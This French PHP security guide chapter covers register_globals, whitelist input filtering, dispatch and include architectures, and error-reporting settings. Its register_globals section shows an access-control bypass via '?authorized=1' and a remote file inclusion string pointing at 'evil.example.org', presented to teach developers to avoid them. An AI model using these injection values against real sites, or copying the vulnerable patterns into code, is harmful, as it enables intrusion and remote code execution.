Guide de Sécurité PHP: Vue d'ensemble
< PrécédentSuivant >Traitement des formulairesTable des matières
Qu'est-ce que la sécurité?
-
La sécurité est une mesure, pas une caractéristique.
Il est regrettable que tant de projets de développement logiciel réduisent la sécurité à une simple exigence à satisfaire. Est-ce que c'est sécurisé? Cette question est aussi subjective que de demander si quelque chose est super.
-
La sécurité doit être en équilibre avec les dépenses.
Il est facile et relativement peu cher de fournir un niveau de sécurité suffisant pour la plupart des applications. Cependant, si vos besoins en sécurité sont très exigeants, parce que vous protégez des informations de grande valeur, alors vous devez atteindre un niveau de sécurité plus élevé, à un coût supérieur. Cette dépense doit être inclue dans le budget du projet.
-
La sécurité doit être en équilibre avec l'utilisabilité
Il n'est pas rare que les étapes prises pour améliorer la sécurité d'une application web diminue également son utilisabilité. Les mots de passe, timeouts de sessions et contrôles d'accès créent autant d'obstacles aux utilisateurs légitimes. Parfois, ceux-ci sont nécessaires pour fournir un niveau adéquat de sécurité, mais il n'existe pas de solution qui convienne à toutes les applications. Il est sage de penser à vos utilisateurs légitimes lorsque vous implémentez des mesures de sécurité.
-
La sécurité doit faire partie de la conception.
Si vous concevez votre application sans penser à la sécurité, vous êtes condamnés à constamment faire face à de nouvelles vulnérabilités de sécurité. Une programmation prudente ne peut compenser une mauvaise conception.
Etapes de base
-
Pensez aux utilisations illégitimes de votre application.
Une conception sécurisée n'est qu'une partie de la solution. Pendant le développement, quand le code est rédigé, il est important de penser aux utilisations illégitimes de votre application. Souvent, on se concentre à faire fonctionner l'application selon ce qu'on a prévu. Bien qu'il soit nécessaire de fournir une application qui fonctionne correctement, ceci n'aide en rien pour rendre l'application plus sécurisée.
-
Instruisez-vous vous-même.
Le fait que vous êtes ici constitue une preuve que vous vous intéressez à la sécurité et, aussi banal que cela puisse paraître, c'est l'étape la plus importante. De nombreuses références sont disponibles sur le web et sous forme imprimée, et de nombreuses ressources sont listées dans la bibliothèque du Consortium de Sécurité PHP (PHP Security Consortium's Library), sur http://phpsec.org/library/.
-
Si vous ne faites qu'une chose, FILTREZ TOUTES LES DONNEES EXTERNES.
Le filtrage des données est la pierre angulaire de la sécurité des applications web, quel que soit le langage et la plate-forme. En initialisant vos variables et en filtrant toutes les données qui proviennent de sources externes, vous gérerez une majorité de vulnérabilités avec un minimum d'effort. Une approche par liste blanche (whitelist) est préférable à une approche par liste noire (blacklist). Cela signifie que vous devriez considérer toutes les données comme invalides, à moins qu'il soit prouvé qu'elles sont valides (plutôt que de considérer toutes les données comme valides, à moins qu'il soit prouvé qu'elles sont invalides).
Register Globals
La directive register_globals est désactivée par défaut dans les versions 4.2.0 et supérieures de PHP. Même si cela ne représente pas une vulnérabilité de sécurité, il s'agit quand même d'un risque de vue sécurité. Dès lors, vous devriez toujours développer et déployer vos applications avec la directive register_globals désactivée.
Pourquoi cela constitue-t-il un risque de sécurité ? Il est difficile de fournir des bons exemples pour tout le monde, parce que cela requiert souvent une situation unique pour mettre le risque en évidence. Cependant, l'exemple le plus courant est celui que l'on trouve dans le manuel PHP:
<?php
if (authenticated_user())
{
$authorized = true;
}
if ($authorized)
{
include '/highly/sensitive/data.php';
}
?>
Avec la directive register_globals activée, cette page peut être appelée avec ?authorized=1 dans la query string, pour contourner le contrôle d'accès prévu. Bien entendu, cette vulnérabilité particulière est la faute du développeur, et pas celle de register_globals, mais ceci indique le risque accru que pose cette directive. Sans elle, les variables globales ordinaires (telles que $authorized dans l'exemple) ne sont pas affectées par les données soumises par le client. Une meilleure méthode consiste à initialiser toutes les variables et à développer avec la directive error_reporting positionnée sur E_ALL, de sorte que l'utilisation d'une variable non initialisée ne passe pas inaperçue lors du développement.
Un autre exemple qui illustre le fait que register_globals puisse poser problème est l'utilisation suivante de include avec un chemin dynamique:
<?php include "$path/script.php"; ?>
Avec register_globals activée, cette page peut être demandée avec ?path=http%3A%2F%2Fevil.example.org%2F%3F dans la query string, de sorte à ce que cette exemple devienne ceci:
<?php include 'http://evil.example.org/?/script.php'; ?>
Si la directive allow_url_fopen est activée (ce qui est le cas par défaut, même dans php.ini-recommended), ceci inclura la sortie de http://evil.example.org/ exactement comme s'il s'agissait d'un fichier local. C'est une vulnérabilité de sécurité majeure, qui a été découverte dans quelques applications open source populaires.
Initialiser $path peut atténuer ce risque particulier, mais c'est également le cas en désactivant register_globals. Tandis qu'une erreur d'un développeur puisse aboutir à une variable non initialisée, désactiver register_globals est un changement de configuration global que l'on a nettement moins de chances de laisser passer.
L'aspect pratique est merveilleux, et ceux d'entre nous qui ont dû gérer les données de formulaire à la main dans le passé apprécient. Cependant, utiliser les tableaux super-globaux $_POST et $_GET est encore très pratique, et activer register_globals ne vaut pas le risque supplémentaire. Bien que je sois complètement en désaccord avec les arguments qui assimilent register_globals à une sécurité médiocre, je recommande qu'elle soit désactivée.
En plus de tout ceci, désactiver register_globals encourage les développeurs à être attentifs à l'origine des données, ce qui constitue une caractéristique importante de tout développeur soucieux de sécurité.
Filtrage des données
Comme spécifié précédemment, le filtrage des données est la pierre angulaire de la sécurité des applications web, indépendamment du langage de programmation et de la plate-forme. Cela implique les mécanismes par lesquels vous déterminez la validité des données qui entrent et sortent de l'application. Une bonne conception de logiciel peut aider le développeur à:
-
S'assurer que le filtrage des données ne peut être contourné,
-
S'assurer que des données invalides ne peuvent être confondues avec des données valides, et
-
Identifier l'origine des données.
Les avis divergent concernant la manière de s'assurer que l'on ne puisse pas contourner le filtrage de données, mais il existe deux approches générales qui semblent les plus répandues, et les deux fournissent un niveau suffisant de confiance.
La méthode de répartition (Dispatch Method)
Une première méthode consiste à n'avoir qu'un seul script PHP directement accessible via le web (via son URL). Tout le reste étant des modules inclus par include ou require, selon les besoins. Cette méthode requiert en général qu'une variable GET soit passée avec chaque URL, pour identifier la tâche. Cette variable GET peut être considérée comme le remplacement du nom du script, qui aurait été utilisé dans une conception plus simple. Par exemple:
http://example.org/dispatch.php?task=print_form
Le fichier dispatch.php est le seul fichier sous la racine web (document root). Cela permet à un développeur de réaliser deux choses importantes:
-
Implémenter certaines mesures globales de sécurité, au sommet de dispatch.php et de s'assurer que ces mesures ne puissent pas être contournées.
-
Voir aisément que le filtrage des données a lieu lorsque nécessaire, en se concentrant sur le contrôle de flux d'une tâche spécifique.
Pour expliquer cela plus en détails, considérez cet exemple de script dispatch.php:
<?php
/* Global security measures */
switch ($_GET['task'])
{
case 'print_form':
include '/inc/presentation/form.inc';
break;
case 'process_form':
$form_valid = false;
include '/inc/logic/process.inc';
if ($form_valid)
{
include '/inc/presentation/end.inc';
}
else
{
include '/inc/presentation/form.inc';
}
break;
default:
include '/inc/presentation/index.inc';
break;
}
?>
S'il s'agit du seul script PHP public, alors il devrait être clair que la conception de cette application assure qu'aucune mesure globale de sécurité prise au sommet du fichier ne peut être contournée. Elle permet également au développeur de visualiser aisément le contrôle du flux d'une tâche spécifique. Par exemple, au lieu de jeter un oeil sur une myriade de code, on peut facilement voir que end.inc n'est affiché à l'utilisateur que quand $form_valid a la valeur true. Et comme il est initialisé à la valeur false juste avant que le fichier process.inc ne soit inclus, il est clair que la logique à l'intérieur de process.inc doit lui affecter la valeur true, sans quoi le formulaire est affiché à nouveau (vraisemblablement avec un message d'erreur approprié).
Note
Si vous utilisez un fichier d'index de répertoire tel que index.php (au lieu de dispatch.php), vous pouvez employer des URLs telles que http://example.org/?task=print_form.
Vous pouvez également employer la directive Apache ForceType ou mod_rewrite pour fournir des URLs telles que http://example.org/app/print-form.
La méthode d'inclusion (Include Method)
Une autre approche consiste à disposer d'un seul module responsable de toutes les mesures de sécurité. Ce module est inclus au sommet (ou très près du sommet) de tous les scripts PHP publics (accessibles via une URL). Considérez l'exemple suivant de script security.inc :
<?php
switch ($_POST['form'])
{
case 'login':
$allowed = array();
$allowed[] = 'form';
$allowed[] = 'username';
$allowed[] = 'password';
$sent = array_keys($_POST);
if ($allowed == $sent)
{
include '/inc/logic/process.inc';
}
break;
}
?>
Dans cet exemple, on attend que chaque formulaire soumis ait une variable de formulaire nommée form, qui l'identifie de manière unique. Et security.inc comporte un cas spécifique pour gérer le filtrage des données de ce formulaire particulier. Un exemple de formulaire HTML qui remplit ces conditions est le suivant:
<form action="/receive.php" method="POST"> <input type="hidden" name="form" value="login" /> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <input type="submit" /> </form>
On utilise un tableau appelé $allowed pour identifier exactement quelles sont les variables de formulaire autorisées, et cette liste doit être identique pour que le formulaire soit traité. Le contrôle de flux est précisé ailleurs, et process.inc est l'endroit endroit où se produit vraiment le filtrage des données.
Note
Un bon moyen de s'assurer que security.inc est toujours inclus au sommet de tous les scripts PHP est d'utiliser la directive auto_prepend_file.
Exemples de filtrage
Il est important de choisir une approche par liste blanche (whitelist) pour votre filtrage de données. Même s'il est impossible de donner des exemples pour tous les types de données de formulaire que vous pourriez rencontrer, quelques exemples peuvent aider à illustrer une approche saine.
L'exemple suivant valide une adresse mail:
<?php
$clean = array();
$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';
if (preg_match($email_pattern, $_POST['email']))
{
$clean['email'] = $_POST['email'];
}
?>
L'exemple suivant assure que $_POST['color'] est red, green, ou blue:
<?php
$clean = array();
switch ($_POST['color'])
{
case 'red':
case 'green':
case 'blue':
$clean['color'] = $_POST['color'];
break;
}
?>
L'exemple suivant assure que $_POST['num'] est un nombre entier:
<?php
$clean = array();
if ($_POST['num'] == strval(intval($_POST['num'])))
{
$clean['num'] = $_POST['num'];
}
?>
L'exemple suivant assure que $_POST['num'] est un nombre réel (à virgule flottante):
<?php
$clean = array();
if ($_POST['num'] == strval(floatval($_POST['num'])))
{
$clean['num'] = $_POST['num'];
}
?>
Conventions de nommage
Chacun des exemples précédent utilisait un tableau nommé $clean. Ceci illustre une bonne méthode, susceptible d'aider les développeurs à identifier si une donnée est potentiellement entachée (tainted). Vous ne devriez jamais prendre l'habitude de valider des données et de les laisser dans $_POST ou $_GET, parce qu'il est important que les développeurs se méfient toujours des données contenues dans ces tableaux super-globaux.
De plus, une utilisation plus libre de $clean permet de considérer tout le reste comme étant entaché (tainted), ce qui ressemble plus à une approche par liste blanche (whitelist), et offre donc un niveau accru de sécurité.
Si vous stockez des données dans $clean uniquement après les avoir validées, le seul risque encouru en cas de non validation de quelque chose est que vous pourriez référencer un élément de tableau qui n'existe pas, plutôt qu'une donnée potentiellement entachée (tainted).
Timing
Une fois qu'un script PHP commence son traitement, l'entièreté de la requête HTTP a été reçue. Ce qui signifie que l'utilisateur n'a plus l'opportunité d'envoyer de données, et par conséquent, aucune donnée ne peut être injectée dans votre script (même si register_globals est activée). C'est pourquoi initialiser vos variables est une si bonne habitude.
Signalement des erreurs
Dans les versions de PHP antérieures à PHP 5, sorti le 13 juillet 2004, le signalement des erreurs était plutôt simpliste. Mis à part une programmation prudente, il se basse essentiellement sur quelques directives spécifiques de configuration PHP:
-
error_reporting
Cette directive définit le niveau désiré de signalement des erreurs. On suggère fortement que vous la définissiez à E_ALL, à la fois pour le développement et pour la production.
-
display_errors
Cette directive détermine si les erreurs doivent être affichées à l'écran (inclues dans la sortie). Vous devriez développer avec cette directive à On, de sorte que vous puissiez être prévenu des erreurs lors du développement. Et vous devriez la définir à Off en production, de manière à ce que les erreurs soient cachées aux utilisateurs (et aux attaquants potentiels).
-
log_errors
Cette directive détermine si les erreurs doivent être envoyées dans un fichier de log. Bien que ceci soulève des soucis de performance, il est souhaitable que les erreurs soient les plus rares possible. Si loguer les erreurs révèle un stress disque à cause des entrées (I/O) soutenues, vous avez sans doute des soucis plus importants que la performance de votre application. Vous devriez définir cette directive à On en production.
-
error_log
Cette directive indique l'emplacement du fichier de log dans lequel sont écrites les erreurs. Assurez-vous que le serveur web possède des permissions en écriture sur le fichier spécifié.
Définir error_reporting à E_ALL vous aidera à forcer l'initialisation des variables, parce qu'une référence à une variable non définie génère alors un avertissement (notice).
Note
Chacune de ces directives peut être définie grâce à ini_set(), au cas où vous n'auriez pas accès au fichier php.ini ou aux autres méthodes qui définissent ces directives.
Une bonne référence à toutes les fonctions de gestion et de signalement des erreurs, c'est le manuel de PHP:
http://www.php.net/manual/en/ref.errorfunc.php
PHP 5 inclut une gestion des exceptions. Pour plus d'informations, voir:
< PrécédentSuivant >Traitement des formulairesTable des matières